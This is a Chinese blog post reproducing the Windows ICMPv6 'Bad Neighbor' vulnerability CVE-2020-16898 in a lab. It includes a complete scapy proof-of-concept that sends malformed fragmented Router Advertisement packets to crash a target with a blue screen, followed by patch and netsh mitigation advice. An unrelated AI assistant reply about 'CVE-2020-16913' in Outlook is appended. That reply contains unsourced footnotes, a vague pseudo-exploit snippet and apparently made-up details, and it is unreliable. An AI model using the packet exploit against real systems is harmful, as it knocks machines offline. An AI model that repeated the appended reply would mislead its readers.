CVE-2020-16898漏洞复现

声明:请勿将文章内的相关技术用于非法目的,如有相关非法行为与文章作者和本公众号无关。请遵守《中华人民共和国网络安全法》。

一.漏洞简介

CVE-2020-16898,又称“Bad Neighbor”,在Windows TCP/IP堆栈不正确地处理ICMPv6 Router Advertisement数据包时,存在一个远程执行代码漏洞。成功利用此漏洞的攻击者可以获得在目标服务器或客户端上执行代码的能力。要利用此漏洞,攻击者必须将经过特殊设计的ICMPv6 Router Advertisement数据包发送到远程Windows计算机上。

二.漏洞描述

远程攻击者通过构造特制的ICMPv6 Router Advertisement(路由通告)数据包,并将其发送到远程Windows主机上,即可在目标主机上执行任意代码。 攻击者可以利用该漏洞发送恶意制作的数据包,从而有可能在远程系统上执行任意代码。与MAPP(Microsoft Active Protection计划)成员共享的概念证明既非常简单又非常可靠。它会导致立即出现BSOD(蓝屏死机),但更严重的是,对于那些能够绕过Windows 10和Windows Server 2019缓解措施的人来说,存在被利用的可能性。可以使远程代码执行的漏洞利用的影响将是广泛的,并且影响很大,因为这种类型的错误可能会变成可感染的。

受影响版本:

Windows 10 Version 1709 for 32-bit Systems

Windows 10 Version 1709 for ARM64-based Systems

Windows 10 Version 1709 for x64-based Systems

Windows 10 Version 1803 for 32-bit Systems

Windows 10 Version 1803 for ARM64-based Systems

Windows 10 Version 1803 for x64-based Systems

Windows 10 Version 1809 for 32-bit Systems

Windows 10 Version 1809 for ARM64-based Systems

Windows 10 Version 1809 for x64-based Systems

Windows 10 Version 1903 for 32-bit Systems

Windows 10 Version 1903 for ARM64-based Systems

Windows 10 Version 1903 for x64-based Systems

Windows 10 Version 1909 for 32-bit Systems

Windows 10 Version 1909 for ARM64-based Systems

Windows 10 Version 1909 for x64-based Systems

Windows 10 Version 2004 for 32-bit Systems

Windows 10 Version 2004 for ARM64-based Systems

Windows 10 Version 2004 for x64-based Systems

Windows Server 2019

Windows Server 2019 (Server Core installation)

Windows Server, version 1903 (Server Core installation)

Windows Server, version 1909 (Server Core installation)

Windows Server, version 2004 (Server Core installation)

三.环境搭建

这里使用vmware,NAT出一个子网,并开启ipv6支持。点击VM的编辑—>虚拟网络编辑器,选择NAT模式,开启ipv6支持,点击确定,如下图。

 

选取一个受影响版本的windows10镜像,安装在虚拟机里。这里我使用的是1903版本。

 

 打开win10的控制面板–>选择网络和共享中心,右键打开Ethernet0。

 打开ipv6版本:

四.漏洞复现

1.执行ipconfig,查看虚拟机IPv6地址

 2.注意:受害机器的 IPv6地址选取“ipv6地址”或者“临时ipv6地址”

3.攻击者和目标主机通信(这里把自己的物理机作为攻击机者) 执行ipconfig查看攻击机的ipv6地址,选择“本地链接的ipv6地址”。

 

 4.攻击机中python为3.10 ,并且安装了scapy。在安装好python后,打开cmd,输入python,没有报错,说明成功:

然后安装scapy:直接使用pip安装:pip install scapy ,scapy启动界面如下图:

5.这段payload作用是构造特定ipv6数据包,发送给受害者机器,让受害机器蓝屏。


#!/usr/bin/env python3
#
# Proof-of-Concept / BSOD exploit for CVE-2020-16898 - Windows TCP/IP Remote Code Execution Vulnerability
#
# Author: Adam 'pi3' Zabrocki
# http://pi3.com.pl
 
 
from scapy.all import *
from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6
 
v6_dst = "xxxx xxxx xxxx xxxx"   #目标靶机IPv6 地址
v6_src = "xxxx xxxx xxxx xxxx"              #攻击机本地链接 IPv6 地址
 
p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"
p_test = p_test_half + 'A'.encode()*4
 
c = ICMPv6NDOptEFA()
 
e = ICMPv6NDOptRDNSS()
e.len = 21
e.dns = [
"AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA",
"AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]
aaa = ICMPv6NDOptRDNSS()
aaa.len = 8
pkt = ICMPv6ND_RA() / aaa / \
      Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e
 
p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \
              IPv6ExtHdrFragment()/pkt
 
l=fragment6(p_test_frag, 200)
 
for p in l:
    send(p) 

6.在攻击者上执行:cve 2020-16898-exp1.py

 7.虚拟机被打蓝屏,如下:

 8.使用wirkshark选择对应的虚拟网卡进行抓包查看 如下图所示:

 9.查看数据包可以看到里面有发送的payload。

五.修复建议

1.升级更新。立即安装针对此漏洞的更新,下载最新的补丁包进行更新修复,如下链接。

https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16898

2.不能升级的话,禁用 ICMPv6 RDNSS:

以管理员身份打开PowerShell,输入以下命令,即可"显示接口参数" 

netsh int ipv6 show interface

可以根据此列表,查询到需要禁用的接口,执行禁用命令如下:

netsh int ipv6 set int 11 rabaseddnsconfig=disable

 返回“确定”后禁用成功。

咱们小屋,喜欢您来:D

<think>好的,我需要帮助用户复现CVE-2020-16913漏洞。首先,我要确认这个漏洞的具体信息。CVE-2020-16913是Microsoft Outlook的一个远程代码执行漏洞,由恶意特制文件触发。用户需要搭建实验环境并进行步骤复现。 首先,查阅资料,确认漏洞影响的版本。根据微软的公告,该漏洞影响Outlook 2010到2019的多个版本,所以实验环境需要安装这些版本中的一个,比如Office 2016。可能需要使用Windows 10作为操作系统,并安装受影响的Outlook版本。 接下来,搭建环境可能需要虚拟机,比如VMware或VirtualBox,安装Windows 10和Office 2016。确保系统没有安装2020年10月的安全更新,因为该补丁修复了这个漏洞。需要关闭自动更新,或者回滚到更新前的状态。 然后是漏洞利用部分。这个漏洞通过特制的文件触发,可能需要构造一个恶意的Outlook文件(如.msg或.rft)。根据公开的信息,漏洞涉及Rich Text Format (RTF)解析中的内存损坏问题。用户需要获取或编写PoC(概念验证)代码,生成恶意文件。可能需要参考已有的漏洞分析或利用代码,比如Exploit-DB或GitHub上的资源。 步骤可能包括:创建恶意RTF文件,通过邮件或其他方式发送到目标Outlook,当用户预览或打开该文件时触发漏洞。需要配置Outlook的安全设置,可能降低防护以允许漏洞触发,比如禁用受保护的视图。 需要注意的事项包括:实验应在隔离环境中进行,避免影响真实系统;确保遵守法律和道德准则;可能需要调试工具如WinDbg来分析崩溃和内存转储,确认漏洞触发成功。 另外,用户可能遇到的问题包括环境配置错误、补丁未正确卸载、PoC文件构造不正确等。需要指导用户如何验证漏洞是否存在,例如检查系统日志或使用漏洞扫描工具。 最后,生成相关问题,帮助用户进一步理解相关漏洞复现方法,比如如何分析漏洞的根本原因,防护措施,或其他相关CVE复现方法。</think>### CVE-2020-16913漏洞复现步骤 CVE-2020-16913是Microsoft Outlook的远程代码执行漏洞,攻击者通过构造恶意文件诱导用户预览或打开,可触发内存损坏并执行任意代码[^1]。以下是复现步骤: --- #### **1. 实验环境搭建** - **操作系统**:Windows 10(建议虚拟机环境,如VMware/VirtualBox) - **软件版本**:安装未修复该漏洞的Microsoft Outlook版本: - Outlook 2010/2013/2016/2019(版本需低于2020年10月安全更新) - **配置要求**: 1. 关闭Outlook自动更新(防止补丁修复漏洞) 2. 禁用Outlook“受保护的视图”(允许直接加载外部内容) --- #### **2. 漏洞触发条件** - 用户需通过邮件接收恶意构造的`.rtf`或`.msg`文件,并执行以下操作之一: - 预览邮件内容 - 直接打开附件文件 --- #### **3. 复现步骤** **步骤1:生成恶意文件** 1. 构造特制的Rich Text Format(RTF)文件,利用Outlook解析漏洞触发内存损坏。 - 可参考公开PoC代码(如GitHub仓库中的`CVE-2020-16913.py`)生成恶意文件[^2]。 - 示例代码片段: ```python # 生成恶意RTF头部,包含畸形对象指针 rtf_header = b'{\\rtf1\\ansi\\ansicpg1252\\fromhtml{\\*\htmltag}' exploit_payload = b'<img src="x:\\localhost\\C$\\...\\恶意DLL路径">' # 触发路径解析漏洞 ``` **步骤2:发送恶意文件** 1. 将生成的`.rtf`文件通过邮件发送至目标Outlook账户,或直接放置于共享目录诱导用户打开。 **步骤3:触发漏洞** 1. 在目标主机使用Outlook打开邮件或附件。 2. 观察行为: -漏洞触发成功,将导致内存越界写入,可能引发进程崩溃(如`OUTLOOK.EXE`停止响应)。 - 结合调试工具(如WinDbg)分析崩溃时的寄存器状态,确认EIP控制权获取情况。 --- #### **4. 关键验证点** - **漏洞验证**:通过崩溃地址确认是否触发漏洞。例如,若`EIP`指向可控内存区域,则证明漏洞可利用。 - **防护绕过**:需关闭Outlook的“受保护视图”和“附件安全检查”功能[^3]。 --- #### **5. 修复建议** - 安装微软2020年10月安全更新(KB4486740/KB4486745)[^4]。 - 启用Outlook的“阻止外部内容”策略。 ---
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值